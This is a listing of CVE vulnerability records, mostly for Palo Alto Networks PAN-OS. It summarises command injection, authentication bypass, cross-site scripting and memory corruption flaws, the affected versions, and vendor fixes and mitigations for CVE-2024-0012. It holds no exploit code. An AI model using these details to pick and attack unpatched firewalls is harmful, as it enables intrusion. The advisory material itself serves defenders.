An OS command injection vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator with permissions to use XML API the ability to execute arbitrary OS commands to escalate privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.20-h1; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14-h3; PAN-OS 9.1 versions earlier than PAN-OS 9.1.11-h2; PAN-OS 10.0 versions earlier than PAN-OS 10.0.8; PAN-OS 10.1 versions earlier than PAN-OS 10.1.3. This issue does not impact Prisma Access firewalls.
References
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2020-2000
Vulnerability from cvelistv5
Published
2020-11-12 00:05
Modified
2024-09-16 16:58
Summary
An OS command injection and memory corruption vulnerability in the PAN-OS management web interface that allows authenticated administrators to disrupt system processes and potentially execute arbitrary code and OS commands with root privileges. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.16; PAN-OS 9.0 versions earlier than PAN-OS 9.0.10; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2016-4971
Vulnerability from cvelistv5
Published
2016-06-30 17:00
Modified
2024-08-06 00:46
Severity ?
Summary
GNU wget before 1.18 allows remote servers to write to arbitrary files by redirecting a request from HTTP to a crafted FTP resource.
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-1990
Vulnerability from cvelistv5
Published
2020-04-08 18:41
Modified
2024-09-17 01:16
Summary
A stack-based buffer overflow vulnerability in the management server component of PAN-OS allows an authenticated user to upload a corrupted PAN-OS configuration and potentially execute code with root privileges. This issue affects Palo Alto Networks PAN-OS 8.1 versions before 8.1.13; 9.0 versions before 9.0.7. This issue does not affect PAN-OS 7.1.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-8686
Vulnerability from cvelistv5
Published
2024-09-11 16:34
Modified
2024-09-12 03:55
Summary
A command injection vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to bypass system restrictions and run arbitrary commands as root on the firewall.
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2020-1979
Vulnerability from cvelistv5
Published
2020-03-11 18:58
Modified
2024-09-17 00:10
Summary
A format string vulnerability in the PAN-OS log daemon (logd) on Panorama allows a network based attacker with knowledge of registered firewall devices and access to Panorama management interfaces to execute arbitrary code, bypassing the restricted shell and escalating privileges. This issue affects only PAN-OS 8.1 versions earlier than PAN-OS 8.1.13 on Panorama. This issue does not affect PAN-OS 7.1, PAN-OS 9.0, or later PAN-OS versions.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-0012
Vulnerability from cvelistv5
Published
2024-11-18 15:47
Modified
2024-11-29 16:08
Summary
An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 . The risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended  best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 . This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software. Cloud NGFW and Prisma Access are not impacted by this vulnerability.
References
Impacted products
Vendor Product Version
Palo Alto Networks PAN-OS Version: 11.2.0   < 11.2.4-h1
Version: 11.1.0   < 11.1.5-h1
Version: 11.0.0   < 11.0.6-h1
Version: 10.2.0   < 10.2.12-h2
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Palo Alto Networks Prisma Access
Show details on NVD website


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                  {
                    "Technical Impact": "total"
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                "role": "CISA Coordinator",
                "timestamp": "2024-11-19T04:55:47.202753Z",
                "version": "2.0.3"
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            "other": {
              "content": {
                "dateAdded": "2024-11-18",
                "reference": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=CVE-2024-0012"
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          "dateUpdated": "2024-11-29T16:08:34.490Z",
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          "shortName": "CISA-ADP"
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            "url": "https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/"
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        ],
        "title": "CISA ADP Vulnrichment"
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          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
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            "url": "https://unit42.paloaltonetworks.com/cve-2024-0012-cve-2024-9474/"
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          "vendor": "Palo Alto Networks",
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          ],
          "defaultStatus": "unaffected",
          "product": "PAN-OS",
          "vendor": "Palo Alto Networks",
          "versions": [
            {
              "changes": [
                {
                  "at": "11.2.4-h1",
                  "status": "unaffected"
                }
              ],
              "lessThan": "11.2.4-h1",
              "status": "affected",
              "version": "11.2.0",
              "versionType": "custom"
            },
            {
              "changes": [
                {
                  "at": "11.1.5-h1",
                  "status": "unaffected"
                }
              ],
              "lessThan": "11.1.5-h1",
              "status": "affected",
              "version": "11.1.0",
              "versionType": "custom"
            },
            {
              "changes": [
                {
                  "at": "11.0.6-h1",
                  "status": "unaffected"
                }
              ],
              "lessThan": "11.0.6-h1",
              "status": "affected",
              "version": "11.0.0",
              "versionType": "custom"
            },
            {
              "changes": [
                {
                  "at": "10.2.12-h2",
                  "status": "unaffected"
                }
              ],
              "lessThan": "10.2.12-h2",
              "status": "affected",
              "version": "10.2.0",
              "versionType": "custom"
            },
            {
              "status": "unaffected",
              "version": "10.1.0"
            }
          ]
        },
        {
          "defaultStatus": "unaffected",
          "product": "Prisma Access",
          "vendor": "Palo Alto Networks",
          "versions": [
            {
              "status": "unaffected",
              "version": "All"
            }
          ]
        }
      ],
      "configurations": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003e\u003cspan\u003eThe risk is greatest if you configure the management interface to enable access from the internet or any untrusted network either:\u003c/span\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cspan\u003eDirectly\u003cbr /\u003e\u003c/span\u003eor\u003c/li\u003e\u003cli\u003eThrough a dataplane interface that includes a management interface profile.\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cspan\u003eThe risk is greatly reduced if you make sure that only trusted internal IP addresses are allowed to access the management interface.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eUse the following steps to identify your recently detected devices in our Internet scans:\u003c/span\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cspan\u003eTo find your known assets that require remediation action, visit the Assets section of Customer Support Portal at\u00a0\u003c/span\u003e\u003ca target=\"_blank\" href=\"https://support.paloaltonetworks.com/\"\u003e\u003cspan\u003ehttps://support.paloaltonetworks.com\u003c/span\u003e\u003c/a\u003e\u00a0\u003cspan\u003e(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\u003c/span\u003e\u003c/li\u003e\u003cli\u003eThe list of your known devices with an internet-facing management interface discovered in our scans are tagged with PAN-SA-2024-0015 with a last seen timestamp in UTC. If no such devices are listed, it indicates our scan did not find any devices with internet-facing management interface for your account in the last three days.\u003c/li\u003e\u003c/ol\u003e"
            }
          ],
          "value": "The risk is greatest if you configure the management interface to enable access from the internet or any untrusted network either:\n\n  *  Directly\nor\n  *  Through a dataplane interface that includes a management interface profile.\nThe risk is greatly reduced if you make sure that only trusted internal IP addresses are allowed to access the management interface.\n\nUse the following steps to identify your recently detected devices in our Internet scans:\n\n  *  To find your known assets that require remediation action, visit the Assets section of Customer Support Portal at\u00a0 https://support.paloaltonetworks.com https://support.paloaltonetworks.com/ \u00a0(Products \u2192 Assets \u2192 All Assets \u2192 Remediation Required).\n  *  The list of your known devices with an internet-facing management interface discovered in our scans are tagged with PAN-SA-2024-0015 with a last seen timestamp in UTC. If no such devices are listed, it indicates our scan did not find any devices with internet-facing management interface for your account in the last three days."
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Palo Alto Networks thanks our Deep Product Security Research Team for discovering this issue internally from threat activity."
        }
      ],
      "datePublic": "2024-11-18T14:20:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "\u003cp\u003eAn authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like \u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://security.paloaltonetworks.com/CVE-2024-9474\"\u003eCVE-2024-9474\u003c/a\u003e.\u003c/p\u003e\u003cp\u003eThe risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended\u0026nbsp;\u003ca target=\"_blank\" rel=\"nofollow\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003ebest practice deployment guidelines\u003c/a\u003e.\u003c/p\u003e\u003cp\u003eThis issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software.\u003c/p\u003e\u003cp\u003eCloud NGFW and Prisma Access are not impacted by this vulnerability.\u003c/p\u003e"
            }
          ],
          "value": "An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like  CVE-2024-9474 https://security.paloaltonetworks.com/CVE-2024-9474 .\n\nThe risk of this issue is greatly reduced if you secure access to the management web interface by restricting access to only trusted internal IP addresses according to our recommended\u00a0 best practice deployment guidelines https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431 .\n\nThis issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, PAN-OS 11.1, and PAN-OS 11.2 software.\n\nCloud NGFW and Prisma Access are not impacted by this vulnerability."
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            "attackRequirements": "NONE",
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            "valueDensity": "CONCENTRATED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/AU:N/R:U/V:C/RE:H/U:Red",
            "version": "4.0",
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            "vulnConfidentialityImpact": "HIGH",
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            "vulnerabilityResponseEffort": "HIGH"
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          "format": "CVSS",
          "scenarios": [
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              "value": "The risk is highest when you allow access to the management interface from external IP addresses on the internet."
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            "Recovery": "USER",
            "Safety": "NOT_DEFINED",
            "attackComplexity": "LOW",
            "attackRequirements": "PRESENT",
            "attackVector": "NETWORK",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "privilegesRequired": "HIGH",
            "providerUrgency": "RED",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
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            "userInteraction": "NONE",
            "valueDensity": "CONCENTRATED",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/AU:N/R:U/V:C/RE:H/U:Red",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
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            "vulnerabilityResponseEffort": "HIGH"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "If you configure restricted access to a jump box that is the only system allowed to access the management interface, you greatly reduce the risk of exploitation because attacks would require privileged access using only those IP addresses."
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306 Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-11-18T15:47:41.407Z",
        "orgId": "d6c1279f-00f6-4ef7-9217-f89ffe703ec0",
        "shortName": "palo_alto"
      },
      "references": [
        {
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://security.paloaltonetworks.com/CVE-2024-0012"
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              "value": "\u003cp\u003eWe strongly recommend that you secure access to your management interface following the instructions in the workarounds section below.\u003c/p\u003e\u003cp\u003e\u003cspan\u003eThis issue is fixed in PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1, and all later PAN-OS versions.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eIn addition, in an attempt to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\u003c/span\u003e\u003c/p\u003e\u003cdiv\u003e\u003cdiv\u003e\u003cul\u003e\u003cli\u003eAdditional PAN-OS 11.2 fixes:\u003cul\u003e\u003cli\u003e\u200b\u200b11.2.0-h1\u003c/li\u003e\u003cli\u003e11.2.1-h1\u003c/li\u003e\u003cli\u003e11.2.2-h2\u003c/li\u003e\u003cli\u003e11.2.3-h3\u003c/li\u003e\u003cli\u003e11.2.4-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 11.1 fixes:\u003cul\u003e\u003cli\u003e11.1.0-h4\u003c/li\u003e\u003cli\u003e11.1.1-h2\u003c/li\u003e\u003cli\u003e11.1.2-h15\u003c/li\u003e\u003cli\u003e11.1.3-h11\u003c/li\u003e\u003cli\u003e11.1.4-h7\u003c/li\u003e\u003cli\u003e11.1.5-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 11.0 fixes:\u003cul\u003e\u003cli\u003e11.0.0-h4\u003c/li\u003e\u003cli\u003e11.0.1-h5\u003c/li\u003e\u003cli\u003e11.0.2-h5\u003c/li\u003e\u003cli\u003e11.0.3-h13\u003c/li\u003e\u003cli\u003e11.0.4-h6\u003c/li\u003e\u003cli\u003e11.0.5-h2\u003c/li\u003e\u003cli\u003e11.0.6-h1\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003eAdditional PAN-OS 10.2 fixes:\u003cul\u003e\u003cli\u003e10.2.0-h4\u003c/li\u003e\u003cli\u003e10.2.1-h3\u003c/li\u003e\u003cli\u003e10.2.2-h6\u003c/li\u003e\u003cli\u003e10.2.3-h14\u003c/li\u003e\u003cli\u003e10.2.4-h32\u003c/li\u003e\u003cli\u003e10.2.5-h9\u003c/li\u003e\u003cli\u003e10.2.6-h6\u003c/li\u003e\u003cli\u003e10.2.7-h18\u003c/li\u003e\u003cli\u003e10.2.8-h15\u003c/li\u003e\u003cli\u003e10.2.9-h16\u003c/li\u003e\u003cli\u003e10.2.10-h9\u003c/li\u003e\u003cli\u003e10.2.11-h6\u003c/li\u003e\u003cli\u003e10.2.12-h2\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/div\u003e\u003c/div\u003e"
            }
          ],
          "value": "We strongly recommend that you secure access to your management interface following the instructions in the workarounds section below.\n\nThis issue is fixed in PAN-OS 10.2.12-h2, PAN-OS 11.0.6-h1, PAN-OS 11.1.5-h1, PAN-OS 11.2.4-h1, and all later PAN-OS versions.\n\nIn addition, in an attempt to provide the most seamless upgrade path for our customers, we are making fixes available for other TAC-preferred and commonly deployed maintenance releases.\n\n  *  Additional PAN-OS 11.2 fixes:  *  \u200b\u200b11.2.0-h1\n  *  11.2.1-h1\n  *  11.2.2-h2\n  *  11.2.3-h3\n  *  11.2.4-h1\n\n\n\n  *  Additional PAN-OS 11.1 fixes:  *  11.1.0-h4\n  *  11.1.1-h2\n  *  11.1.2-h15\n  *  11.1.3-h11\n  *  11.1.4-h7\n  *  11.1.5-h1\n\n\n\n  *  Additional PAN-OS 11.0 fixes:  *  11.0.0-h4\n  *  11.0.1-h5\n  *  11.0.2-h5\n  *  11.0.3-h13\n  *  11.0.4-h6\n  *  11.0.5-h2\n  *  11.0.6-h1\n\n\n\n  *  Additional PAN-OS 10.2 fixes:  *  10.2.0-h4\n  *  10.2.1-h3\n  *  10.2.2-h6\n  *  10.2.3-h14\n  *  10.2.4-h32\n  *  10.2.5-h9\n  *  10.2.6-h6\n  *  10.2.7-h18\n  *  10.2.8-h15\n  *  10.2.9-h16\n  *  10.2.10-h9\n  *  10.2.11-h6\n  *  10.2.12-h2"
        }
      ],
      "source": {
        "advisory": "PAN-SA-2024-0015",
        "discovery": "EXTERNAL"
      },
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        {
          "lang": "en",
          "time": "2024-11-18T14:20:00.000Z",
          "value": "CVE-2024-0012 assigned to this publication as the vulnerability is identified and fixed"
        },
        {
          "lang": "en",
          "time": "2024-11-15T22:00:00.000Z",
          "value": "Answered a FAQ about indicators of compromise"
        },
        {
          "lang": "en",
          "time": "2024-11-14T22:18:00.000Z",
          "value": "Raised the severity of PAN-SA-2024-0015 bulletin as we have observed threat activity"
        },
        {
          "lang": "en",
          "time": "2024-11-11T01:03:00.000Z",
          "value": "Added instructions to find your devices with an internet-facing management interface discovered in our scans"
        },
        {
          "lang": "en",
          "time": "2024-11-08T13:00:00.000Z",
          "value": "Initially published as PAN-SA-2024-0015"
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      "title": "PAN-OS: Authentication Bypass in the Management Web Interface (PAN-SA-2024-0015)",
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              "value": "\u003cp\u003e\u003cspan\u003eRecommended mitigation\u2014The vast majority of firewalls already follow Palo Alto Networks and industry best practices. However, if you haven\u2019t already, we strongly recommend that you secure access to your management interface according to our best practice deployment guidelines. Specifically, you should restrict access to the management interface to only trusted internal IP addresses to prevent external access from the internet.\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cspan\u003eAdditionally, if you have a Threat Prevention subscription, you can block these attacks using Threat IDs 95746, 95747, 95752, 95753, 95759, and 95763 (available in Applications and Threats content version 8915-9075 and later). For these Threat IDs to protect against attacks for this vulnerability,\u003c/span\u003e\u003c/p\u003e\u003cspan\u003e\u003cul\u003e\u003cli\u003e\u003cspan\u003eEnsure that all the listed Threat IDs are set to block mode,\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#id59206398-3dab-4b2f-9b4b-7ea500d036ba\"\u003e\u003cspan\u003eRoute incoming traffic for the MGT port through a DP port\u003c/span\u003e\u003c/a\u003e\u003cspan\u003e, e.g., enabling management profile on a DP interface for management access,\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#id112f7714-8995-4496-bbf9-781e63dec71c\"\u003e\u003cspan\u003eReplace the Certificate for Inbound Traffic Management\u003c/span\u003e\u003c/a\u003e\u003cspan\u003e,\u003c/span\u003e\u003c/li\u003e\u003cli\u003e\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices#idbbd82587-17a2-42b4-9245-d3714e1e13a2\"\u003e\u003cspan\u003eDecrypt inbound traffic to the management interface so the firewall can inspect it\u003c/span\u003e\u003c/a\u003e\u003cspan\u003e, and\u003c/span\u003e\u003c/li\u003e\u003cli\u003eEnable threat prevention on the inbound traffic to management services.\u003c/li\u003e\u003c/ul\u003e\u003c/span\u003e\u003cspan\u003eReview information about how to secure management access to your Palo Alto Networks firewalls:\u003cbr /\u003e\u003cul\u003e\u003cli\u003e\u003cspan\u003ePalo Alto Networks LIVEcommunity article:\u00a0\u003c/span\u003e\u003ca target=\"_blank\" href=\"https://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\"\u003e\u003cspan\u003ehttps://live.paloaltonetworks.com/t5/community-blogs/tips-amp-tricks-how-to-secure-the-management-access-of-your-palo/ba-p/464431\u003c/span\u003e\u003c/a\u003e\u003c/li\u003e\u003cli\u003ePalo Alto Networks official and more detailed technical documentation:\u00a0\u003ca target=\"_blank\" href=\"https://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\"\u003e\u003cspan\u003ehttps://docs.paloaltonetworks.com/best-practices/10-1/administrative-access-best-practices/administrative-access-best-practices/deploy-administrative-access-best-practices\u003c/span\u003e\u003c/a\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/span\u003e"
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    "cveId": "CVE-2024-0012",
    "datePublished": "2024-11-18T15:47:41.407Z",
    "dateReserved": "2023-11-09T18:56:17.699Z",
    "dateUpdated": "2024-11-29T16:08:34.490Z",
    "state": "PUBLISHED"
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cve-2020-2008
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 17:08
Summary
An OS command injection and external control of filename vulnerability in Palo Alto Networks PAN-OS allows authenticated administrators to execute code with root privileges or delete arbitrary system files and impact the system's integrity or cause a denial of service condition. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-8687
Vulnerability from cvelistv5
Published
2024-09-11 16:40
Modified
2024-09-11 18:25
Summary
An information exposure vulnerability exists in Palo Alto Networks PAN-OS software that enables a GlobalProtect end user to learn both the configured GlobalProtect uninstall password and the configured disable or disconnect passcode. After the password or passcode is known, end users can uninstall, disable, or disconnect GlobalProtect even if the GlobalProtect app configuration would not normally permit them to do so.
Impacted products
Vendor Product Version
Palo Alto Networks GlobalProtect App Version: 5.1.0   < 5.1.12
Version: 5.2.0   < 5.2.13
Version: 6.0.0   < 6.0.7
Version: 6.1.0   < 6.1.2
Version: 6.2.0   < 6.2.1
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access Version: 10.2.0   < 10.2.9 on PAN-OS
Show details on NVD website


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cve-2019-1566
Vulnerability from cvelistv5
Published
2019-01-30 20:00
Modified
2024-09-17 02:53
Severity ?
Summary
The PAN-OS management web interface in PAN-OS 7.1.21 and earlier, PAN-OS 8.0.14 and earlier, and PAN-OS 8.1.5 and earlier, may allow an unauthenticated attacker to inject arbitrary JavaScript or HTML.
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2023-0005
Vulnerability from cvelistv5
Published
2023-04-12 16:41
Modified
2024-08-02 04:54
Summary
A vulnerability in Palo Alto Networks PAN-OS software enables an authenticated administrator to expose the plaintext values of secrets stored in the device configuration and encrypted API keys.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2023-0007
Vulnerability from cvelistv5
Published
2023-05-10 16:30
Modified
2024-08-02 04:54
Summary
A cross-site scripting (XSS) vulnerability in Palo Alto Networks PAN-OS software on Panorama appliances enables an authenticated read-write administrator to store a JavaScript payload in the web interface that will execute in the context of another administrator’s browser when viewed.
Impacted products
Vendor Product Version
Palo Alto Networks Prisma Access
Palo Alto Networks Cloud NGFW
Show details on NVD website


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cve-2012-6594
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.11, 4.0.x before 4.0.8, and 4.1.x before 4.1.1 allows remote authenticated administrators to execute arbitrary commands via unspecified vectors, aka Ref ID 34299.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-5916
Vulnerability from cvelistv5
Published
2024-08-14 16:41
Modified
2024-08-14 18:25
Summary
An information exposure vulnerability in Palo Alto Networks PAN-OS software enables a local system administrator to unintentionally disclose secrets, passwords, and tokens of external systems. A read-only administrator who has access to the config log, can read secrets, passwords, and tokens to external systems.
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW Version: Before 8/15
Version: Before 8/23
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2012-6601
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS before 3.1.12, 4.0.x before 4.0.10, and 4.1.x before 4.1.4 allows remote attackers to execute arbitrary code via unspecified vectors, aka Ref ID 36983.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2012-6598
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 21:36
Severity ?
Summary
The device-management command-line interface in Palo Alto Networks PAN-OS 4.0.x before 4.0.8 allows remote authenticated users to execute arbitrary commands via unspecified vectors, aka Ref ID 33080.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2018-7636
Vulnerability from cvelistv5
Published
2018-07-03 21:00
Modified
2024-08-05 06:31
Severity ?
Summary
The URL filtering "continue page" hosted by PAN-OS 8.0.10 and earlier may allow an attacker to inject arbitrary JavaScript or HTML via specially crafted URLs.
References
http://www.securitytracker.com/id/1041207vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/104673vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2018-7636x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3045
Vulnerability from cvelistv5
Published
2021-08-11 17:10
Modified
2024-09-16 23:35
Summary
An OS command argument injection vulnerability in the Palo Alto Networks PAN-OS web interface enables an authenticated administrator to read any arbitrary file from the file system. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.19; PAN-OS 9.0 versions earlier than PAN-OS 9.0.14; PAN-OS 9.1 versions earlier than PAN-OS 9.1.10. PAN-OS 10.0 and later versions are not impacted.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-9459
Vulnerability from cvelistv5
Published
2017-08-02 19:00
Modified
2024-08-05 17:11
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the management web interface in Palo Alto Networks PAN-OS before 6.1.18, 7.x before 7.0.16, 7.1.x before 7.1.11, and 8.x before 8.0.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
References
http://www.securitytracker.com/id/1038974vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/99902vdb-entry, x_refsource_BID
https://security.paloaltonetworks.com/CVE-2017-9459x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2021-3032
Vulnerability from cvelistv5
Published
2021-01-13 18:10
Modified
2024-09-16 22:45
Summary
An information exposure through log file vulnerability exists in Palo Alto Networks PAN-OS software where configuration secrets for the “http”, “email”, and “snmptrap” v3 log forwarding server profiles can be logged to the logrcvr.log system log. Logged information may include up to 1024 bytes of the configuration including the username and password in an encrypted form and private keys used in any certificate profiles set for log forwarding server profiles. This issue impacts: PAN-OS 8.1 versions earlier than PAN-OS 8.1.18; PAN-OS 9.0 versions earlier than PAN-OS 9.0.12; PAN-OS 9.1 versions earlier than PAN-OS 9.1.4; PAN-OS 10.0 versions earlier than PAN-OS 10.0.1.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-5584
Vulnerability from cvelistv5
Published
2017-03-15 14:00
Modified
2024-08-05 15:04
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the Management Web Interface in Palo Alto Networks PAN-OS 5.1, 6.x before 6.1.16, 7.0.x before 7.0.13, and 7.1.x before 7.1.8 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.
References
http://www.securityfocus.com/bid/96371vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037889vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2017-5584x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2017-9467
Vulnerability from cvelistv5
Published
2017-08-02 19:00
Modified
2024-08-05 17:11
Severity ?
Summary
Cross-site scripting (XSS) vulnerability in the GlobalProtect external interface in Palo Alto Networks PAN-OS before 6.1.18, 7.x before 7.0.16, 7.1.x before 7.1.11, and 8.x before 8.0.3 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
References
http://www.securityfocus.com/bid/99907vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1038975vdb-entry, x_refsource_SECTRACK
https://security.paloaltonetworks.com/CVE-2017-9467x_refsource_CONFIRM
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2019-1580
Vulnerability from cvelistv5
Published
2019-08-23 17:03
Modified
2024-08-04 18:20
Severity ?
Summary
Memory corruption in PAN-OS 7.1.24 and earlier, PAN-OS 8.0.19 and earlier, PAN-OS 8.1.9 and earlier, and PAN-OS 9.0.3 and earlier will allow a remote, unauthenticated user to craft a message to Secure Shell Daemon (SSHD) and corrupt arbitrary memory.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2020-2006
Vulnerability from cvelistv5
Published
2020-05-13 19:07
Modified
2024-09-16 16:57
Summary
A stack-based buffer overflow vulnerability in the management server component of PAN-OS that allows an authenticated user to potentially execute arbitrary code with root privileges. This issue affects: All versions of PAN-OS 7.1 and 8.0; PAN-OS 8.1 versions earlier than 8.1.14.
References
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2013-5663
Vulnerability from cvelistv5
Published
2013-08-31 17:00
Modified
2024-08-06 17:15
Severity ?
Summary
The App-ID cache feature in Palo Alto Networks PAN-OS before 4.0.14, 4.1.x before 4.1.11, and 5.0.x before 5.0.2 allows remote attackers to bypass intended security policies via crafted requests that trigger invalid caching, as demonstrated by incorrect identification of HTTP traffic as SIP traffic, aka Ref ID 47195.
Impacted products
Vendor Product Version
Show details on NVD website


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cve-2024-8688
Vulnerability from cvelistv5
Published
2024-09-11 16:40
Modified
2024-09-11 18:24
Summary
An improper neutralization of matching symbols vulnerability in the Palo Alto Networks PAN-OS command line interface (CLI) enables authenticated administrators (including read-only administrators) with access to the CLI to to read arbitrary files on the firewall.
Impacted products
Vendor Product Version
Palo Alto Networks Cloud NGFW
Palo Alto Networks Prisma Access
Show details on NVD website


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cve-2019-1582
